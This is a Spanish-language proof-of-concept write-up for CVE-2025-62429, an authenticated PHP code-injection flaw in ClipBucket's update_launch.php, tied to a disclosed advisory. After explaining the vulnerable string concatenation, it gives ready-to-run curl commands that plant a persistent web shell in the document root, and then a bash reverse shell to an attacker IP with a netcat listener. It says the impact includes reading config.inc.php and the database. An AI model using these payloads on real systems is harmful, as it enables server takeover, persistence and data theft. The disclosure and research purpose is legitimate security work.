
CVE-2025-62429 | clipbucket RCE
Prueba de Concepto para RCE mediante Inyección de Código PHP en update_launch.php
Divulgación: Originalmente reportado por mí a través de GHSA-3h9c-7j8r-xc3v
⚠️ Solo para uso autorizado de pentesting/investigación.
| Campo | Valor |
|---|---|
| CVE ID | CVE-2025-62429 |
| Gravedad | 🔴 Alta |
| Puntuación CVSS | 7.2 |
| Vector CVSS | [CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H] |
| CWE | CWE-78: OS Command Injection, CWE-94: Code Injection |
| Producto Afectado | ClibBucket <= 5.5.3 - #79 |
| Versión Parcheada | 5.5.3 - #80 |
| Aviso | GHSA-3h9c-7j8r-xc3v |
Existe una vulnerabilidad de Ejecución Remota de Código Autenticada (RCE) en ClipBucket v5.5.3-61. La vulnerabilidad está clasificada como CWE-94: Control Inadecuado de la Generación de Código ('Inyección de Código'). La aplicación no saneó adecuadamente la entrada controlada por el usuario utilizada para generar código PHP ejecutable en update_launch.php. Un administrador autenticado puede explotar esto para lograr la ejecución completa de comandos en el servidor subyacente, escalando privilegios de un administrador web al usuario del sistema (por ejemplo, containeruser).
La vulnerabilidad se encuentra en upload/admin_area/actions/update_launch.php. Este script facilita las actualizaciones del sistema generando dinámicamente un script PHP temporal en segundo plano.
Fragmento de Código Vulnerable: upload/admin_area/actions/update_launch.php (Líneas 40-86)
// User input from $_POST['type'] is directly concatenated into a PHP string.
$data = '<?php
if (php_sapi_name() != \'cli\') { die; }
...
$type = \'' . $_POST['type'] . '\'; // <--- VULNERABILITY: Direct concatenation
...
?>';
fwrite($tmp_file, $data);
fclose($tmp_file);
// The generated file is executed via shell_exec using the PHP CLI.
$cmd = System::get_binaries('php') . ' -q ' . DirPath::get('temp') . 'update_core_tmp.php';
shell_exec($cmd);
Mecanismo de Explotación:
Debido a que el parámetro type se concatena en la cadena $data sin escape ni saneamiento, un atacante puede usar una comilla simple (') para salir del contexto literal de la cadena. Luego puede inyectar funciones PHP arbitrarias (como system() o file_put_contents()) y comentar el resto del código original usando //. Esto resulta en la ejecución de código proporcionado por el atacante con los privilegios del proceso PHP-CLI.
PHPSESSID válida.
Primero demostramos la vulnerabilidad implementando una web shell persistente en la raíz del documento.
curl -X POST "http://[TARGET_IP]/admin_area/actions/update_launch.php" \
-H "Cookie: PHPSESSID=[ADMIN_SESSION_ID]" \
-d "type=core'; file_put_contents(dirname(__DIR__, 2).'/vuln.php', '<?php system(\$_GET[\"cmd\"]); ?>'); //"
curl -s "http://[TARGET_IP]/vuln.php?cmd=id"
# Expected Response: uid=1000(containeruser) gid=1000(containeruser) ...
Después de confirmar RCE, se establece un shell interactivo para post-explotación.
nc -lvnp 4444
curl -G "http://[TARGET_IP]/vuln.php" \
--data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/[KALI_IP]/4444 0>&1'"
La máquina atacante recibe una conexión, otorgando acceso completo a un shell interactivo como containeruser.
Una explotación exitosa permite a un atacante ejecutar comandos arbitrarios del sistema. Esto resulta en:
config.inc.php) y toda la base de datos.Este problema está relacionado con la vulnerabilidad divulgada anteriormente:
Tras un análisis más detallado, se descubrió que la vulnerabilidad persistía en ClipBucket v5.5.3 debido a una corrección incompleta.
Mientras que el aviso original abordaba parte del problema, el vector de inyección de código PHP a través del parámetro type en update_launch.php seguía siendo explotable.
Este aviso proporciona detalles técnicos adicionales, verificación en la última versión y un escenario completo de explotación de extremo a extremo.